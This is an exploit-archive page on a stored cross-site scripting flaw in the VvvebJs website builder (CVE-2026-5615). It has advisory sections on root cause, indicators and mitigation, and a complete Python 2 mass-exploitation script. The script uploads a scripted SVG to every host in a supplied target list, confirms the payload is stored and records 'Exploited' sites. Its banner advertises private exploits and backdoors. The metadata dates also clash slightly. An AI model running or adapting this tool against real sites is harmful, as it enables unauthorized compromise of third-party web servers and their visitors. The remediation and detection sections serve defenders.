PoC Archive PoC Archive
High CVE-2026-5615 unpatched

VvvebJs SVG Upload Stored Cross-Site Scripting — CVE-2026-5615

by sahmsec (Sakib Ahmed) — [github.com/sahmsec](https://github.com/sahmsec) · 2026-07-05

CVSS 8.5/10
Severity
High
CVE
CVE-2026-5615
Category
web
Affected product
VvvebJs (drag-and-drop website builder)
Affected versions
<= 2.0.5
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05-07
Author / Researchersahmsec (Sakib Ahmed) — github.com/sahmsec
CVE / AdvisoryCVE-2026-5615
Categoryweb
SeverityHigh
CVSS Score8.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, per source repository)
StatusPoC
Tagsvvvebjs, stored-xss, svg-upload, file-upload, cms
RelatedN/A

Affected Target

FieldValue
Software / SystemVvvebJs (drag-and-drop website builder)
Versions Affected<= 2.0.5
Language / PlatformPHP (target application); PoC client written in Python 2
Authentication RequiredNo — the PoC targets the public /upload.php endpoint directly; per the source repository the issue requires user interaction (UI:R) to trigger the stored payload in a victim’s browser
Network Access RequiredYes

Summary

VvvebJs versions <= 2.0.5 allow uploading SVG files without sanitizing their contents. Because SVG is XML that can embed <script>-equivalent event handlers (e.g. onload), an attacker can upload an SVG containing JavaScript, which is stored server-side and served back from a publicly accessible upload path. When a victim (or the same attacker) later views the uploaded SVG in a browser, the embedded JavaScript executes in the site’s origin — a stored/persistent XSS. The PoC uploads such a crafted SVG to a list of targets and confirms exploitation by re-fetching the stored file and checking that the payload markup survived unmodified.


Vulnerability Details

Root Cause

The application’s upload handler (upload.php) accepts files with an image/svg+xml content type / .svg extension without stripping or sanitizing embedded script-capable attributes (such as the onload event handler on the root <svg> element). Because SVG is rendered by browsers as either an image or, when navigated to directly / embedded via certain contexts, as a scriptable document, unsanitized SVG content stored on the server and later served to a browser can execute arbitrary attacker-controlled JavaScript in the context of the hosting origin.

Attack Vector

  1. The PoC builds a multipart/form-data POST body containing an SVG payload: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><text ...></svg>.
  2. It POSTs this file to {target}/upload.php.
  3. On a 200 response, it parses the response body for the path of the newly stored .svg file.
  4. It issues a GET to the resulting public URL and checks that the response contains the original filename marker and the exact onload="alert(document.domain)" markup, confirming the stored SVG is served back unsanitized.
  5. In a real browser context, a victim visiting/opening that stored SVG URL would have the embedded onload JavaScript execute, demonstrating stored XSS.

Impact

An attacker can persist arbitrary JavaScript on a vulnerable VvvebJs installation via file upload. When a victim views the stored SVG, the script executes in the site’s origin, enabling session/cookie theft, CSRF-token exfiltration, defacement, or further pivoting depending on what the origin exposes to client-side script.


Environment / Lab Setup

Target:   VvvebJs <= 2.0.5 web application exposing a reachable /upload.php endpoint.
Attacker: Python 2.7 with the `requests` library; a text file of target base URLs.

Proof of Concept

PoC Script

See CVE-2026-5615.py in this folder. CVE-2026-5615.txt in this folder is the example target list distributed with the original repository (bulk of URLs/IPs used for batch testing — see Notes).

1
2
pip install requests
python2 CVE-2026-5615.py

The script reads a list of target base URLs, uploads a crafted SVG with an onload="alert(document.domain)" payload to each target’s /upload.php via a thread pool (10 workers), then re-fetches the resulting stored URL to confirm the payload was stored and served unmodified. Successful targets are printed as Exploited and appended to SAHMSEC-CVE-2026-5615_Exploited.txt; other outcomes are reported as Not_Vulnerable, Cant_Access, or Time0ut.


Detection & Indicators of Compromise

POST /upload.php  multipart/form-data; filename="expbySAHMSEC*.svg"; Content-Type: image/svg+xml
  body contains: <svg ... onload="alert(document.domain)">

Signs of compromise:

  • Uploaded .svg files in web-accessible upload directories containing onload, onerror, <script>, or other event-handler/script content.
  • Unexpected outbound requests or document.domain / cookie access originating from pages that embed or link to user-uploaded SVGs.
  • Log entries showing POSTs to /upload.php with SVG payloads from unfamiliar or automated-looking user agents.

Remediation

ActionDetail
Primary fixUpgrade VvvebJs to a patched version. No vendor patch version/commit confirmed as of 2026-07-05 in the source repository.
Interim mitigationDisable or restrict SVG uploads; sanitize uploaded SVG content (strip <script>, event-handler attributes, and <foreignObject>); enforce strict MIME-type/extension validation server-side; serve uploaded files with a Content-Disposition: attachment header and a restrictive Content Security Policy; restrict public access to upload directories where possible.

References


Notes

Mirrored from https://github.com/sahmsec/CVE-2026-5615 on 2026-07-05. The included CVE-2026-5615.txt target list is the example/batch target list shipped in the original repository; it is mirrored as-is for completeness but was not independently verified against each listed host.

CVE-2026-5615.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import threading
import random
import string
from multiprocessing.dummy import Pool as ThreadPool

# =======================
# Colors
# =======================
fr = "\033[91m"
fg = "\033[92m"
fy = "\033[93m"
rs = "\033[0m"

# =======================
# Thread-safe print
# =======================
print_lock = threading.Lock()

requests.packages.urllib3.disable_warnings()


# =======================
# Helpers
# =======================
def randstr(n=8):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))


# =======================
# Exploit
# =======================
def Exploit(target):
    target = target.strip().rstrip("/")

    upload_url = target + "/upload.php"

    boundary = "SAHMSEC" + randstr()
    file_rand = "expbySAHMSEC"

    svg_payload = """<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<text x="10" y="20">%s</text>
</svg>
""" % file_rand

    data = (
        "--" + boundary + "\r\n" +
        'Content-Disposition: form-data; name="file"; filename="%s.svg"\r\n' % file_rand +
        "Content-Type: image/svg+xml\r\n\r\n" +
        svg_payload + "\r\n" +
        "--" + boundary + "--\r\n"
    )

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "multipart/form-data; boundary=" + boundary
    }

    try:
        r = requests.post(
            upload_url,
            data=data,
            headers=headers,
            timeout=10,
            verify=False
        )

        if r.status_code != 200:
            with print_lock:
                print("  - %s --> %sCant_Access%s" % (target, fr, rs))
            return

        import re
        m = re.search(r"/[a-zA-Z0-9_-]+\.svg", r.text)

        if not m:
            with print_lock:
                print("  - %s --> %sCant_Access%s" % (target, fr, rs))
            return

        upload_path = m.group(0)
        final_url = target + upload_path

        r2 = requests.get(final_url, timeout=10, verify=False)

        if (r2.status_code == 200 and
            file_rand in r2.text and
            '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">' in r2.text):

            with print_lock:
                print("  - %s --> %sExploited%s" % (target, fg, rs))
                print("   - %s%s%s" % (fg, final_url, rs))

            open("SAHMSEC-CVE-2026-5615_Exploited.txt", "a").write(
                target + " | " + final_url + "\n"
            )
            return

        with print_lock:
            print("  - %s --> %sNot_Vulnerable%s" % (target, fr, rs))

    except Exception:
        with print_lock:
            print("  - %s --> %sTime0ut%s" % (target, fr, rs))


# =======================
# MAIN
# =======================
banner = '''

 [ONLINE]

    [CVE-2026-5615] - VvvebJs - (<=v2.0.5) < File Injection[Stored Cross-Site Scripting(RXSS)]

         [CVSS] > 8.5 - (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
         [Severity] > High
         [Date] > 06/04/2026
         [ExpID] > 10233271990233298

         [Notification] : Become a VIP/Premium user and get all the Source Codes,0day,1day private exploits and tools,backdoors

'''

print(banner)

path = raw_input(" - [WEBLIST] > ")
targets = open(path).read().splitlines()

pp = ThreadPool(10)
pp.map(Exploit, targets)
pp.close()
pp.join()